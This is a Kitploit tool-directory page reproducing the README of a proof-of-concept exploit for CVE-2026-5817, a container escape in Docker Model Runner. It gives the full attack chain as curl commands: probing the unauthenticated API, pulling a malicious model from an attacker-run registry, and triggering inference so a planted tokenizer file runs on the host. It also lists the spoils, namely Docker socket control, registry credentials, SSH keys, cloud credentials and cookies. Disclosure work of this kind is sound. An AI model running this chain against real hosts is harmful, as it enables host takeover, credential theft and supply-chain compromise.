Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5817-PoC — Docker Model Runner container-to-host RCE / Escape: A critical vulnerability that allows for container-to-host code execution in the Docker Model Runner MLX / SGLANG / VLLM inference backend. | Kitploit
Tools/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Container SecurityPayload GenerationVulnerability AnalysisExploitationSupply Chain SecurityContainer EscapeAI Security
GitHubgouldnicholas/cve-2026-5817-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5817-PoC

Docker Model Runner container-to-host RCE / Escape: A critical vulnerability that allows for container-to-host code execution in the Docker Model Runner MLX / SGLANG / VLLM inference backend.

View Repository
73 months agoNot yet reviewed

CVE-2026-5817: Docker Model Runner container-to-host RCE / Escape

Any container on a Docker Desktop (4.40.0 to 4.67.x) host can run code on the host with two HTTP requests. No socket mount, no --privileged, no caps.

How

Every container can reach Model Runner at model-runner.docker.internal with no auth. It pulls models from whatever OCI registry you point it at and stores them without verifying digests. The Python backends (vLLM, MLX, SGLang) load the model with trust_remote_code=True ( or in MLX case doesnt even acknowdlege trust remote code in its config input ), which imports any .py file the model references in tokenizer_config.json. That .py runs as the desktop user.

Attack scenario

Starting position: attacker has code execution inside any container on the host. Hostile base image, malicious npm/pip install in a dev workspace, a CI runner picking up attacker-controlled code, etc. No Docker socket mount, no --privileged, no extra caps.

  1. Probe Model Runner.

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 means Model Runner is on and reachable from this container. No auth, no Origin header needed.

  2. Stand up a malicious OCI registry. Any HTTP server speaking the OCI distribution spec works. The registry needs to be reachable from the host (Model Runner runs on the host, not in the container). Either host it on the public internet, or run it locally and publish a port (docker-compose.yml does the latter for this PoC). It serves a minimal valid Llama model whose tokenizer_config.json has an auto_map pointing at evil_tokenizer.py. evil_tokenizer.py is the host payload. See rce_registry.py.

  3. Make Model Runner pull from your registry.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner downloads the manifest, then every blob, and writes them to its on-disk store. No digest is recomputed or compared, no signature check. The malicious model is now installed.

  4. Trigger inference so the model loads.

Payload Input

replace lines rce_registry.py:45-105 with arbitrary payload.

Requirements

  • Docker Desktop >= 4.40.0 and < 4.68.0 (Model Runner shipped in 4.40.0, bug fixed in 4.68.0), with Model Runner enabled
  • A Python backend installed (vllm-metal, vLLM, MLX, or SGLang)
  • Python 3 on the host

Run

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

Proof lands at /tmp/poc_rce_proof.

Files

  • rce_registry.py - fake OCI registry, serves a minimal Llama model plus evil_tokenizer.py
  • test_claims.py - checks each claim against the source and the running system
  • run_poc.sh - wrapper
  • docker-compose.yml - registry + unprivileged attacker container
  • Dockerfile.registry, Dockerfile.attacker - images

Related CVEs

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
Download Tool
root@kitploit:~
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
     -H 'Content-Type: application/json' \
     -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'

Model Runner picks a Python backend (vLLM, MLX, or SGLang) and spawns it with --model <bundle_dir> pointing at the stored model. The backend calls AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers reads tokenizer_config.json, sees the auto_map, and imports evil_tokenizer.py from the bundle dir. Module-level code runs at import time.

  • Payload runs on the host. It runs as the Docker Desktop user, outside any container, with the user's full filesystem and network access. Inference itself usually fails (the model is too tiny to actually run) but that doesn't matter, the import happened first.

  • What that gets the attacker.

    • /var/run/docker.sock is reachable. Daemon control: create privileged containers, mount the host fs into one of them, exec into other containers, etc.
    • ~/.docker/config.json holds credentials for every registry the user is logged into. Supply chain pivot: push malicious images upstream.
    • SSH keys, cloud creds, browser cookies, source trees, anything the user can read.
    • Via the daemon, every other running container on the host.